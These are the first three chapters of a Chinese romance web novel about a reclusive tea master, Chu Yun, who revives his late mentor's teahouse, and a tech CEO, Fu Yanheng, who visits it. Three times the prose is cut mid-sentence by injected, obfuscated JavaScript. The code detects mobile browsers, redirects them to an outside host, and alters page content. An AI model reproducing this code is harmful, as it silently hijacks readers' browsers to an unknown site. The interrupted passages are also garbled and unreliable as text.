《一瓯茶》 1. 茶楼 早春三月,一场小雨淅淅沥沥而下。花窗半推,可见檐角雨水滴答,对于坐在屋里的人来说,倒是一番烟雨朦胧的好景色。 “我说你今天怎么突然转性了找我来喝茶,原来是醉翁之意不在酒。” 茶室里一片茶香氤氲,傅砚珩喝掉杯中温度正好的茶水,语气里带了些戏谑。 江祈年面上有一种被戳破了的尴尬,清清嗓子,一派正气地说:“怎么会呢,我真的觉得他们家的茶很好喝。” 傅砚珩没说话,只微微挑眉看着他。 江祈年泄了气,凑过去悄悄问道:“不过你不觉得他家老板也很好看吗?” “所以呢?” “哎算了你不懂,”江祈年坐了回去,看着杯中浅碧剔透的茶水,喃喃自语:“我看到他的第一眼,就有一种心脏被击中的感觉。” “那你应该去心内科挂号。” “傅、砚、珩——!” 傅砚珩耸了耸肩,对江祈年的愤怒无动于衷。他的目光落在桌上的名片上——楚韫。 是那个茶楼老板的名字。 “话说回来,刚才那个茶博士急急忙忙地就把楚韫叫走了,不会是什么很棘手的事情吧?” 江祈年有些担心,但傅砚珩对此却没什么反应。他放下茶杯,扔下一句“我去趟洗手间”,便起身离开了茶室。 . 这家茶楼一共两层,只有一楼才有洗手间。傅砚珩走下楼梯,就听见了下面的争吵声—— 准确来说,是一个人单方面的输出。 “……你这茶就是有问题!明明是明前碧螺春,我这碗里怎么全是碎茶渣?!” 他对面站着一个年轻人,肌肤白皙,墨色瞳孔,哪怕是面对这样咄咄逼人的指责,也依旧是一副不为所动的样子。 听见楼梯上传来的动静,楚韫往这边看了一眼,随即便收回了目光,语气平静地说:“不好意思,我们的碧螺春是上周刚从苏州茶农手里收的,都是头拨芽,不会出现您说的问题。” 男人怒气冲冲,声音陡然拔高,势必要让所有的客人都听见:“狡辩是吧,那我看看接下来你怎么解释!” 说完,他拿出一张皱皱巴巴的纸巾,把上面深绿色的痕迹展示给周围看:“我刚才不小心洒出了点茶水,用纸巾一擦,就成了这个颜色,真是不看不知道,一看吓一跳,你们这不是染色茶是什么?!” 果不其然,他说完这句话,店里已经响起了窸窸窣窣的议论声。一个老人按捺不住走了过来,看了一眼男人手中的那碗碧螺春,立刻皱起了眉头:“不对啊小楚,你这茶我喝了半年,从来没这么多碎渣——” 男人立刻打断了他,立刻打断他,语气带着嘲讽:“叔,您是老客,老板当然给您泡好的,我们这种生客,就拿染色茶糊弄呗!” 他又转向其他客人,端着茶盏绕了半圈,游街一样:“大家买茶都得擦亮眼睛!这老板看着年轻,龌龊心思倒不少,用染色茶骗钱,今天我要是没发现,指不定多少人上当!” 楚韫一直冷眼看着这出闹剧,好像此时被卷入风暴中心的不是他一样。也是这个时候,傅砚珩才觉得这人有点意思,不说话,是理屈词穷,还是不屑一顾? 但很快他就知道答案了。刚才那个茶博士匆匆跑过来,递给楚韫一个U盘:“师父,这是刚才那段时间的监控视频。” 傅砚珩看了一眼那个男人,哪怕是这样,对方也丝毫不为所动,还是那副义愤填膺的样子,好像真的是一个彻头彻尾的受害者。 . 监控视频在电脑上播放着,不少看热闹的顾客都围了过来,就见画面里,茶博士取茶、泡茶没有丝毫问题,和其他客人的流程都是一样的。 而那盏茶被端上桌后,那个男人除了用指尖蹭了蹭盏口,也没有任何小动作。 没有任何实质性的证据,应该是进门之前就早有准备。 这就棘手了。 楚韫微微皱眉,就听男人挑衅般地开口:“怎么,怀疑是我做了手脚?” 像是知道楚韫心中所思所想一样,他主动说道:“用手蹭杯口是我多年喝茶的习惯,要是仅凭这个就说和我有关,未免太过牵强了吧!” 男人冷笑:“我现在怀疑你们那个茶罐里装的都是劣质茶叶,否则我找不出其他原因。你敢把里面的茶叶拿出来自证清白吗?” 众目睽睽之下,楚韫沉默了一下,随即摇了摇头。 四周一片哗然,有人掏出手机准备录像曝光,还有人小声嘀咕“幸好没点这款茶”,一片乱哄哄中,楚韫突然说道:“不是不敢,是不能。” “那个茶罐现在已经空了,您是最后一位喝到那款碧螺春的人。” 男人的眼里划过一丝得逞的光芒,下一秒,楚韫平静地说:“先别急着盖棺定论,我有两个问题想向您请教。” 男人看楚韫年纪轻轻,料想他无论如何也辩不出花来,便气定神闲地说:“我今天有时间,就跟你死磕到底了,也让大家看看你们这黑心茶楼的真面目!” 傅砚珩心里清楚这男人是个骗子,但他更想看看楚韫如何能让对方自投罗网,也算是他今天来这里的意外收获。 楚韫看了一眼那盏茶上面漂浮的茶渣,说道:“明前碧螺春都是一芽带一叶,您这盏里的碎渣,为什么全是叶子,一点芽尖都没有?” 那个男人愣了一下,硬撑着说:“那我怎么知道?没准是茶农筛茶的时候不仔细呢?跟我有什么关系?” ——蠢货。 傅砚珩这样想,就听楚韫接着说:“明前茶最金贵的就是芽尖,要是真筛不仔细,怎么可能碎渣里没有芽尖,全是老叶?” 楚韫勾了勾嘴角,露出一点讥讽的笑:“打个比方,卖苹果的人不会只卖果核,不卖果肉,您说是不是?” 男人面色剧变,意识到自己掉进了对方的陷阱,刚想张口辩解两句,楚韫却没给他这个机会,紧接着说:“至于您说的染色茶问题,众所周知,明前碧螺春的茶汤都是浅绿透黄,只有陈茶才会因为茶汤颜色变深而用上染色粉。但茶汤颜色能骗人,气味却不能。新茶闻起来清新,陈茶闻起来会有霉味,现在这盏茶就放在这里,大家一闻便知新茶旧茶。” 他说完,已经有好奇的人上前闻气味,随即点了点头:“是清爽的味道。” “那么这位先生,你还有什么好说的吗?”楚韫脸上戏谑的神情已经消失了,取而代之的是他惯常的那副冷漠的壳子,“或者你想在警察面前再辩解两句?” 男人脸上青一阵白一阵,眼看着周围已经有人举起手机,他低声骂了一句,便急匆匆地走了。 . 意料之中的结局,意料之外的收获。一场闹剧结束,傅砚珩收回目光,正想上楼,就听旁边传来一道声音:“抱歉,让你们久等了。” 话是这么说,但傅砚珩看楚韫脸上神情不像是抱歉,更像是一种程序化的例行公事。 两人一起上了楼,楚韫手里拿着一个茶罐,看见傅砚珩的目光落在上面,他解释道:“这是九窨的茉莉花茶。” 茶室的门拉开,正百无聊赖玩手机的江祈年立刻抬起头,关切地问:“怎么了?出了什么事?” 楚韫懒得和他解释,随口应付道:“没什么,都解决了。” 他一边说着,一边低头舀茶,露出一段修长的脖颈,让江祈年定定看了好几秒。 温杯、投茶、摇香,淡淡茉莉香飘荡而出,江祈年吸了吸鼻子,笑道:“好香的茉莉花茶。” 楚韫重新倒入静滚水,头道润茶,快速出汤,定点拉高注水,高处收水,茶叶香气被彻底激发,过了大概两秒,茶汤被平稳地倒入两人面前的茶杯中,七分满。 傅砚珩喝了一口,果真是汤水顺滑,满口花香。 江祈年眼睛一亮,已经开始夸赞了:“好鲜灵的花香!好像还有淡淡的回甘。” 楚韫颔首,难得话多了些:“九窨茶层次分明,最开始明朗高扬,随后就是清幽淡雅。” 专心泡茶时的楚韫给人一种舒缓安心的感觉,其实不仅如此,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383288|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的名字、长相,还有气质,就像窗外的这场春雨,不声不响,让人觉得浸润而舒适。 就像傅砚珩刚进到茶室的时候,脑子里想的还是下午要开的会和办公桌上的文件,但在这几杯茶中,这些纷乱的杂念慢慢散去。要是用一个词来形容,那就是心如止水。他开始享受这种感觉。 难得的,傅砚珩主动开口:“你们这的茉莉花茶是从哪收的?” 楚韫看了他一眼,回答:“是我自己做的。” 傅砚珩一顿,刚要说话,旁边的江祈年惊讶道:“什么?你还会自己做茶?” 楚韫一口茶水喝下,傅砚珩看见他滚动的喉结、湿润微红的嘴唇,一瞬间少了几分拒人于千里之外的冷,多了些勾人心魄的魅。 满室茉莉花香浮动,对面的年轻人似乎笑了笑,说道:“对,其实我的本职是制茶师。” . 窗外雨声渐歇,不知不觉间,这拨茉莉花茶已经喝过几泡,傅砚珩看了眼腕表,拿起大衣起身:“中午和人有约,我先走了,你们慢慢喝。” 江祈年也站了起来:“等一下,我和你一起走。” 他的目光落在桌上名片上,笑吟吟地说:“楚韫,咱俩加个微信呗,我觉得你这里无论是环境还是茶的品质都比我之前去过的茶馆好多了,想要给朋友介绍一下。” 楚韫似乎扯了扯嘴角,那是一个漫不经心且意味不明的笑,江祈年却觉得心跳快了几分。 傅砚珩冷眼看两人加上微信,江祈年一副心满意足的样子,似乎还想再说点什么,被傅砚珩打断了:“我后面赶时间,再磨蹭我就不等你了。” 江祈年悻悻地闭上了嘴。 楚韫亲自把他们两个送到楼下,穿过曲桥回廊,迎面过来一人,西装革履,戴一副银边眼镜,光是这么看很像某个商务精英。 “商务精英”没注意楚韫旁边的两个人,一张口立刻原形毕露:“外边来了个探店博主,想在咱们家拍个视频,我这也不敢擅自做主,还是得问问你——” “——谢谢招待,我们先走了。”傅砚珩朝楚韫微微颔首,当做告别。 他身后,楚韫的声音掺着冷意,语气坚定:“跟他说,喝茶可以,拍摄不行。我们不接受任何形式的网络宣传。” 傅砚珩有些啼笑皆非。据他观察,这间茶楼的生意绝对算不上多好。时代在变化,思维也要转变,不借助一些必要的网络媒介,哪怕这间茶楼装潢再有韵味、茶叶品质再好,也无法获得足够的关注度。 这样斩钉截铁的拒绝,要么是楚韫毫无经商头脑,要么是这间茶楼有什么不能宣扬的猫腻。 ——但这些好像都和自己没什么关系了。 傅砚珩和江祈年在门口分道扬镳,助理闻时走过来撑伞,向他汇报行程:“十二点在Lafapas和徐小姐午餐,下午三点需要回公司参加洛特斯收购会,晚上七点飞美国。” 傅砚珩坐进车里,无奈道:“又是老太太安排的相亲。” 闻时也觉得自家老板挺可怜的,但还是斟酌着用词:“那边的意思是,让您和徐小姐见一见,聊聊生意上的事。” 傅砚珩冷笑一声,没再说话,只是拿起一边的文件开始看。 宾利行驶出望舒巷,离开了茶楼。 . “——楚韫,你真的不好好考虑一下吗?”秦澜月追上楚韫的步伐,喘了两口气才说:“酒香还怕巷子深,那个博主我认识,在网上有很多粉丝,没准能给咱们这增点客流量。” 楚韫回过头,定定地看了他两秒,墨色瞳孔像两汪无底的深潭。他平静地说:“不需要。” “那些捕风捉影的流言蜚语,短暂狂热后的迅速冷淡,附庸风雅的虚伪面孔,都让我觉得恶心。” 秦澜月张了张嘴,最终只是叹了口气,有些疲倦:“你说的不无道理。” “但是楚韫,我觉得如果你师父还在的话,一定会希望你不要再执拗于过去。” “更何况,你不想看到这间茶楼恢复从前的生机吗?” 2. 傅砚珩 高级的法式餐厅内灯烛辉煌,雪白的台布上摆放着早上刚从荷兰空运过来的白玫瑰,衣冠楚楚的侍应生为客人倒上醒好的红酒,又悄无声息地退下。 徐菀真不顾礼仪地伸了个懒腰:“哎,你说我惨不惨,刚从新西兰坐了二十个小时的飞机,一落地就来这和你吃饭。” 她眨了眨眼,促狭地笑道:“几年不见,傅大总裁怎么还是单身未娶,甚至都沦落到相亲局了?” 想当年她还没出国的时候,只要有傅砚珩出现的场合,必然会吸引一大群名媛千金,含蓄点的暗送秋波,热烈奔放的直接投怀送抱。可惜媚眼抛给瞎子看,这家伙眼高于顶一概拒绝,成了多少名媛夜半辗转难眠的罪魁祸首。 傅砚珩慢条斯理地反击:“那徐大小姐真是高风亮节,愿意自降身价和我吃饭。” 徐菀真刚喝下一口红酒,闻言冷笑道:“我不信你清心寡欲,迟早有你栽的那天。” 主菜的牛排上过,徐菀真吃了两口就放下了刀叉。国外两年,西餐对她来说是家常便饭,只觉得索然无味。 傅砚珩看他一眼:“今天是家里人安排的,改天请你吃醉月兰亭。” 徐菀真满意了,哼哼道:“算你有良心,不枉我当年给你挡了那么多桃花。” 话题回到正轨,徐菀真问他:“听说你前两天刚收购完洛特斯,下一步有什么打算?” 徐家和傅家向来关系不错,徐菀真出国两年也是去攻读MBA,如今回来正是要慢慢接手家族事务。 傅砚珩回答:“看上了城西的一块地,就是处理起来有点麻烦。” “麻烦?”徐菀真有些惊讶,在她的印象里,傅砚珩看上的东西无论用什么手段都会夺到手。 从小到大,傅砚珩都是一个远远走在同龄人前面的人。别人的十七岁还在为学业苦恼,他已经开始研究证券趋势,把股票玩得风生水起;别的富家公子哥还沉浸在纸醉金迷、声色犬马时,二十二岁的傅砚珩已经是世界三大投行炙手可热的争夺对象。 后来,老董事长突发脑梗住院,傅砚珩临危受命接管亿恒,外界质疑声四起,认为他资历尚浅、难当大任,毕竟那时的他才二十四岁。 刚刚上任的傅砚珩主导了一桩跨国新能源并购案。那是一家濒临破产的科技公司,集团上下几乎全是反对之声,但傅砚珩力排众议,以极低的价格将其收入囊中。不久后,那家新能源公司的核心技术突然引爆市场,股价一夜间翻了十倍,亿恒因此赚得盆满钵满,那些蠢蠢欲动的、不怀好意的声音也在一夜间烟消云散。 商界公认的事实是,傅砚珩是一个嗅觉极其敏锐的商人。 他早早看出了亿恒原有的核心业务增长乏力,顺势重组集团产业,集中资源进军人工智能领域。这一决定引发了内部的强烈反弹,几个傅家旁支想要趁机动摇傅砚珩的地位。 谁也没想到,傅砚珩会以一种自断臂膀的铁血手腕罢免那几个占据集团重要位置的傅氏旁支,肃清所有的反对者,并迅速组建了一支顶尖的技术团队。 两年后,亿恒推出的家居系列AI产品横扫市场,市值翻了一番,彻底奠定了他在商界举足轻重的地位。“傅砚珩”这三个字,代表着国内最年轻的科技巨擘,无人能与之抗衡。 侍应生来收空盘,顺便往徐菀真那里上了份甜点。傅砚珩“嗯”了一声,解释道:“不是闲置地,涉及到原住民回迁的问题,现在也只是一个构想,具体情况还得洽谈。” 徐菀真一边戳着碟子里的蒙布朗一边点头:“怪不得,我家之前也遇到过这种情况,有人既不同意经济赔偿又不接受回迁房,特别伤脑筋。” 一顿饭吃得差不多,傅砚珩看了眼手表,说道:“行了,我看你吃得味同嚼蜡的,回去好好休息吧,徐大小姐。” 徐菀真翻了个白眼:“嗯嗯嗯,不打扰你回公司了,傅大忙人。”并且语气甜美地送上了祝福:“祝你忙成狗哦,我会为你虔心祈祷的。” . 不知道是不是徐菀真的“祈祷”感动了上苍,傅砚珩这半个月简直是异常忙碌。 这次去美国主要是为了处理收购的后续事宜,结果洛特斯的负责人突然撕毁合同,哪怕赔上违约金也要把公司卖给另一家叫Apex的企业。事后调查出来是Apex散布谣言,称亿恒收购后会迅速裁撤洛特斯原先的核心技术团队,导致负责人对亿恒的信任崩塌。 “傅总,Apex的执行董事昨晚和洛特斯的负责人马克在一家俱乐部聊了两个小时。” 落地窗外是中心区的璀璨灯火,傅砚珩的目光却落在了楼下推着垃圾车的老人身上。 他的语气无波无澜:“给Apex的董事会发份礼物,就用他们去年在特拉华州空壳公司避税的证据。另外,让我们的法务团队准备好禁止令,冻结洛特斯的资产转让流程。” 闻时在电话那边说了声“好”,傅砚珩挂断电话,再向下看时,那个老人的身影已经消失在了街角。 事态按照傅砚珩设计好的方向发展下去,第二天一早,马克就在早餐桌上看到了Apex股价暴跌的新闻。 就在这时,马克的邮箱里突然多了一份加密的录音文件。 他蹙眉打开,里面传出两道声音,一个他前两天晚上才刚刚听过,属于Apex的那位执行董事;另一个他就更加熟悉了,是自家公司的技术总监。 几分钟之后,马克关掉了录音,面色铁青—— 原来两个人早就暗通款曲,密谋着策划了那场谣言,甚至让自己一度动摇。 他长长地呼出一口气,拨打了傅砚珩的电话。 当天下午三点,华尔街日报推送了一则新闻: 【亿恒集团完成对洛特斯的全资收购,原核心团队全员留任,傅砚珩将亲自担任联合CEO。】 这则新闻旁边甚至连一张照片都没有,知情人都知道,傅砚珩这些年越发低调,除非必要,否则不会给媒体留下曝光的机会。 . 一切尘埃落定,半个月后,傅砚珩终于结束了这场枝节横生的收购,回到了国内。 落地当天,宾利直接驶向城东的老宅,傅砚珩要回去见一趟傅家老太太。 这半个月内发生了很多事,比如一个探店视频在短短一周内获得了近千万的播放量,转发量破百万,一家名叫“先春”的茶楼一夜成名,迅速成为茶文化爱好者和时髦青年的打卡之地。 但这些傅砚珩都不知道,也压根不关心。坐在车里,他正拿着平板迅速浏览之前的财经新闻。 车子停在老宅门前,被眼尖的佣人看到了,高兴得朝屋里喊:“大少爷回来了!” 傅砚珩下车,略带无奈地示意王姨稍安勿躁,就听见里面传来一道苍老而惊喜的声音:“可算回来了,我一直在屋里盼着你呢。” 佣人推着傅老太太迎了出来,傅砚珩笑了笑,蹲下和她拥抱了一下,解释道:“航班延误了,不然能早些回来。” 傅砚珩陪着她走进老宅,老太太知道他工作忙,只是叮嘱他注意身体。客厅里傅承均正戴着眼镜看报纸,看到傅砚珩只是不冷不热地说了句“回来了”。 傅砚珩“嗯”了一声。 老太太对傅承均的态度恨铁不成钢,但也没办法,这么多年,父子俩的关系一直都是这样。 厨房里的宋丽萍的声音传了出来:“砚珩回来了?今晚做了你爱吃的芙蓉蟹斗。” 傅砚珩的眼里飞快闪过了一丝意味不明的情绪,旁边的老太太突然小声问他:“前两天和菀真聊得怎么样啊?” 一提到这事傅砚珩就头疼,但他还是很耐心地和老太太解释:“奶奶,我和她一直都是朋友,你这样撮合我们两个,反倒是耽误了人家。” 老太太叹了口气:“你也老大不小了,总该找一个自己喜欢的人,知冷知热地过日子。” 傅砚珩应了一声。 老太太年纪大了,精力不好,拉着傅砚珩的手说了一会话,就上楼休息去了。她一走,客厅里就剩下了傅砚珩和傅承均。 如果不是傅砚珩继承了傅承均的一部分长相,恐怕两人走在街上,都不会有人认为他们是父子关系—— 那种陌生人般的、疏离冷淡的氛围,哪怕经过了这么多年的岁月,依旧没有任何缓和,甚至就像封冻的冰层,只会越来越厚。 傅砚珩处理了几封邮件,就听傅承均破天荒地率先开口了:“洛特斯的那个收购案不是已经到收尾阶段了吗?为什么耽误了这么长时间?” 傅承均自从几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383289|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前心梗住院,就从一把手的位置退了下来,这几年乐得清闲,也只是偶尔关心一下亿恒的事务。 傅砚珩回答:“有家硅谷资本从中作梗,不过已经解决了。” 傅承均深深看了他一眼。 这个长子是他培养出的得意之作,是能带领亿恒走向新辉煌的接班人,只是这些年越发变得难以捉摸,连他也渐渐看不透了。 老太太吃过药睡了,让佣人告诉他们不用等她。直到坐上餐桌,傅砚珩才突然想起来他还有个弟弟,顺嘴问了一句:“傅嘉礼呢?” 宋丽萍正在盛汤,闻言没好气地说:“说是和朋友赛车去了,晚点过来。” 傅砚珩点点头,也懒得管他。傅嘉礼一直属于散养状态,庞大家业有长子继承,想做什么就随他去了。 一顿饭吃到一半,傅嘉礼才急匆匆赶到。宋丽萍忍不住骂他:“一天天玩心这么大,改天让你进公司收收心。” 傅嘉礼才不怕,笑嘻嘻地过去给宋丽萍揉肩捶背,一面疯狂向傅砚珩使眼色。 傅砚珩仿佛没接收到他的信号,自顾自吃他的芙蓉蟹斗。更要命的是傅承均表态了:“我觉得不错,就该磨砺磨砺你这不着调的性子,顺便少和那些纨绔子弟厮混。” 傅嘉礼没想到这次来真的,立刻诚恳地认错:“爸、妈,回来晚是我的错,我保证以后金盆洗手、痛改前非、洗心革面、回头是岸。” 见傅承均不为所动,傅嘉礼将突破口转向宋丽萍,又帮夹菜又给添汤,小心翼翼道:“妈——” 宋丽萍睨他一眼:“诚意呢?” 识时务者为俊杰,在痛失爱车和毫无人身自由地在傅砚珩眼皮子底下工作之间,傅嘉礼毫无疑问选择前者,忍痛递上了迈凯伦的车钥匙。 傅砚珩恰逢其时地开口了:“还是别让他去了,亿恒不养闲人。我都不知道他是去创造价值还是制造灾难。” 傅嘉礼感受到他哥对他浓浓的嫌弃,但苦于人为刀俎我为鱼肉,只能干巴巴地笑着说:“是啊,让我去亿恒那不是给我哥添乱吗。” 宋丽萍得到车钥匙满意了,对此没有意见。傅承均本也没对他抱什么希望,与其生气不如吃饭。 正当傅嘉礼以为万事大吉松了口气时,傅砚珩突然说:“你去亿恒下面的瑞禾吧,从职员做起。” 晴天霹雳,五雷轰顶。 傅嘉礼脑筋急速运转,还没想出个拒绝的理由,二老已经一拍即合,直接让此事板上钉钉,再无转圜余地。 反抗无效、接受现实的傅嘉礼无精打采地坐上餐桌,听着傅砚珩继续说:“瑞禾最近正在打造一个茶文化IP,你去参与参与。” 宋丽萍给傅嘉礼夹了块鱼,他正闷闷不乐地挑着鱼刺,闻言“哦”了一声,嘟囔道:“说到这个,前两天不是还火了个茶楼吗,叫什么春来着——” 被遗忘在角落的记忆因为这句话而回笼,傅砚珩顿了一下,旁边傅承均的声音传来,与浮现在脑海中的名字重合。 “先春?” 傅承均疑惑道:“但它不是早就倒闭了吗?” 傅嘉礼扒拉着手机,找出那个探店视频,展示给傅承均看。 水心亭,攒尖顶,亭檐如飞;庭中竹,潇潇骨,竹影婆娑。 一切都还是当年的样子,似乎一切都没有变。 傅承均的语气难得带了些怀念:“也不知道是谁接手了这间茶楼,倒是维护得很好。” 话音刚落,傅砚珩抬眼说道:“我去过他家,各方面确实都不错。” 傅砚珩难得搭话,傅承均察觉到两人关系有一点缓和的可能性,主动说了更多:“这间茶楼的第一任主人是一个制茶大师,叫廖叙生。他一手茉莉花茶做得相当出名,后来还自创了一款茶,叫云栖竹露。只是后来人出事了,这间茶楼也跟着倒闭,未免让人觉得有些可惜。” “不过你这么说,我哪天倒要让管家去给我买点他家的茶,虽然肯定不是当年的味道,但也算是圆个念想了。” “不用,”傅砚珩说:“我明天正好有空,直接帮你买了。” “?” 饶是傅承均经历过无数大风大浪,此刻也觉得傅砚珩今天太过反常了。他僵硬了很久,终于憋出了一个“嗯”字。 3. 琵琶 放在桌上的手机又开始响个不停,楚韫的目光从书上移过去,拿起手机看了一眼,又毫不意外地扔到一边。 刚刚上楼的秦澜月看到这一幕,忍不住揶揄:“怎么,又是那位大少爷啊。” 自从加了江祈年的微信,楚韫就会三天两头地收到对方的一些奇奇怪怪的问题。一开始楚韫还会耐着性子回答他,后来就发展到直接把百度截图发过去,到了现在已经压根不想管了。 秦澜月也知道他这是故意套近乎,这种事发生在楚韫身上已经见怪不怪了。凭着这张貌美到能蛊惑人心的脸,大学时期的楚韫没少收到同性异性的告白。 “哎,我说你要实在受不了就把他拉黑吧,得罪就得罪了。” 楚韫翻过一页书,语气平淡:“你又不需要你的养老金了?” 秦澜月面露尴尬,这事还得从之前茶楼一夜爆火说起。 那天陆俨像往常一样去店里开门,秦澜月因为前一天晚上备考CPA熬到后半夜,还没起床。 睡梦中的秦澜月接到了陆俨的电话,对方声音小小,语气紧张,但迷迷糊糊的秦澜月没听出来。 “秦哥你快来,大事不好了!咱们店里突然来了一大堆客人,我要忙不过来了!” 秦澜月朦胧的睡意散了一半,他抓了抓头发,“嗐”了一声:“小俨,没睡醒就再去睡一会儿吧,都做上白日梦了。” 对面的陆俨毫不犹豫地挂断电话,点开摄像头,拍了一张雅座被坐满的照片,面无表情地找到秦澜月的对话框,发送。 秦澜月正下床喝水,点开照片放大,一时没绷住,剧烈地咳嗽起来。 “这他妈的……” 秦澜月顾不得别的了,跑去卫生间洗了把脸,保持良好的职业道德穿好衬衫西裤,拎起领带拔腿就往外走,中途还给楚韫打了个电话,但对方没接。 楚韫的这种半失联状态已经让秦澜月见怪不怪了,茶楼现在缺人手,但他们短时间内还找不到合适的茶博士。 没办法,只能死马当活马医了。看陆俨泡茶看了不下百遍,怎么还不能学个有模有样的。 . 几滴热水迸溅到桌面上,秦澜月眼疾手快地用手抹掉,露出一抹高深莫测的微笑,好像那不是个失误,而是有意而为之的一个环节。 这桌客人是一对年轻的情侣,明显对茶艺不太了解,就这样被秦澜月唬了过去。女生甚至觉得秦澜月的手法很精彩,露出星星眼:“好厉害呀!” 秦澜月微笑不语,说了句“请品茶”,转过身时偷偷抹了把汗。 他下意识模仿了楚韫平时的表情和气质,因为这人沉默寡言,再加上总是没什么起伏的情绪,很容易给人一种深不可测的感觉。结果果然如他所料,不过这也多亏了他能拿奥斯卡小金人的完美演技。 就在这时,他瞥见一抹立在门口的白色身影,立刻快步走了过去,咬牙切齿地小声说:“祖宗啊你可算来了,你看看这都成什么样了,我一个学会计的经理在这泡茶,你也不怕客人一怒之下投诉咱们茶楼。” 楚韫默了默,他也没想到今天会有这么多人,这是以前从来没有的。 他的目光落在了刚才的那桌小情侣身上,女生喝了一口茶,眼睛立刻亮了起来,对她男朋友说:“你快尝尝,这茶好香哦,和我以前喝过的完全不一样!” 对面的男生手指在电脑键盘上翻飞,发出噼里啪啦的声音,似乎是在敲代码。他看了一眼女生,虽然为工作烦心而皱着眉头,但还是温声说:“把你那杯给我喝一口就好。” 女生乖乖把她那杯递了过去,男生显然没那么文雅,将茶水一饮而尽,愣了一下。 女生见男生皱着的眉头松开,笑嘻嘻道:“你看,我没骗你吧。” 不只是他们,还有拿着相机新奇地四处拍照的摄影师、白发苍苍提着笼子坐在窗边遛鸟的大爷、安安静静在角落看书自习的中学生……这些人的存在像一场细密的春雨,渗透在不知名的泥土角落,悄无声息地在这间历经风雨的茶楼里蔓延出一片生机。 眼前的场景仿佛摁下定格键,与多年前的悠悠岁月重合。然而时光沾染了太多血与泪,一切终究有所不同。 一种荒诞的情绪陡然从楚韫心里升起,他说不清那是什么,只是恍然意识到,这座茶楼已经孤寂太久了,久到形存而神灭。直到今天,它才开始慢慢找回它的灵魂。 楚韫一直觉得,自己重新开张“先春”只是为了保护好师父的遗物,但他今天才第一次意识到,不止如此,他想要的更多。 他想让这里恢复过去的鲜活,让茶香沾染每位客人的衣襟,再随着他们流入大街小巷、融入万家灯火。 . 有了楚韫的帮忙,陆俨顿时轻松了许多,秦澜月也不用再绞尽脑汁地演戏了。直到送走最后一个客人,陆俨还有些不敢相信,一边瘫在椅子上一边问:“师父,秦哥,我不是在做梦吧?” 楚韫觉得好笑:“你又不觉得累了?” “当然累啊,我胳膊酸腿疼。” 楚韫“嗯”了一声:“那就不是做梦。” 陆俨一想也是,转头看见秦澜月正在本子上写写画画,好奇地问:“秦哥,你干嘛呢?” 秦澜月“啪”地把笔一放,兴高采烈地说:“大功告成!” 他活动了一下肩膀,把本子拿给他们两个看:“我刚刚已经想了好几种营销手段,咱们茶馆绝对要乘着这股好风一飞冲天!” “我的想法是这样的:首先,在各大社交平台上开通我们的官方账号,定期举办并发布一些品茶活动。” 楚韫不置可否,示意他继续说下去。 “其次,推出节气限定茶单,搭配上时令茶点,当然我们需要请一个茶点师傅。” 秦澜月顿了顿,清清嗓子,笑嘻嘻地凑到楚韫旁边:“最后一个,也是最重要的一个,让楚韫定期在水心亭来段琵琶表演。” 他又接着叨叨:“我还记着大学的迎新晚会上你弹的那首《阳春白雪》,那可是一个惊艳四座……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383290|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 楚韫气极反笑,斩钉截铁地拒绝:“不行。” 秦澜月好生规劝:“人要学会利用自己的长处。你看今天你给那个小姑娘泡茶的时候,人家那眼珠子都要黏你身上了。” 楚韫抱着臂,不为所动。 秦澜月见劝说无效,突然长叹一声,开始打苦情牌:“想当初我拒绝了多少家公司的盛情邀请,一毕业就来了你的茶楼,就是因为咱们多年的兄弟情。这么多年来,我原来的同学要么在外企当了高管年入百万,要么去知名大学成了专业教授家喻户晓,只有我——” 秦澜月眼神幽幽,语气哀怨,撤出一抹苦笑,像极了被抛弃在冷宫却不怨天尤人的可怜妃子:“这个经理我自是愿意当的,现在也算是衣食无忧,只是以后老了就没有着落了。” “楚韫,趁着现在这个千载难逢的机会,你好歹让我把以后的养老金挣出来啊!” 陆俨听得目瞪口呆,眼圈一红,俨然是要被秦澜月仗义的兄弟情感动哭了。 楚韫对这人混淆黑白瞎扯连篇已经见怪不怪了,微笑着说:“嗯,没错。那些公司遗憾错过了我们秦经理这样的人才,简直要后悔到地球毁灭那一天——” “也不知道是谁当初因为找不到满意的工作,非要来我这小小茶楼当一个委屈的经理。” 楚韫眼里充满了对秦澜月的信任,语气无比认真:“加油,相信你这次一定能考证成功,到时候大厂名企自然会抢着为你支付养老金的。” 秦澜月劝说失败,一脸沮丧,一步一挪地往外走,愣是走出了日暮西山的苍凉感,以至于他们耳边仿佛同时飘过一曲哀哀切切的《一剪梅》。 楚韫叹了口气,叫住他:“行了,我又没说不答应。” …… 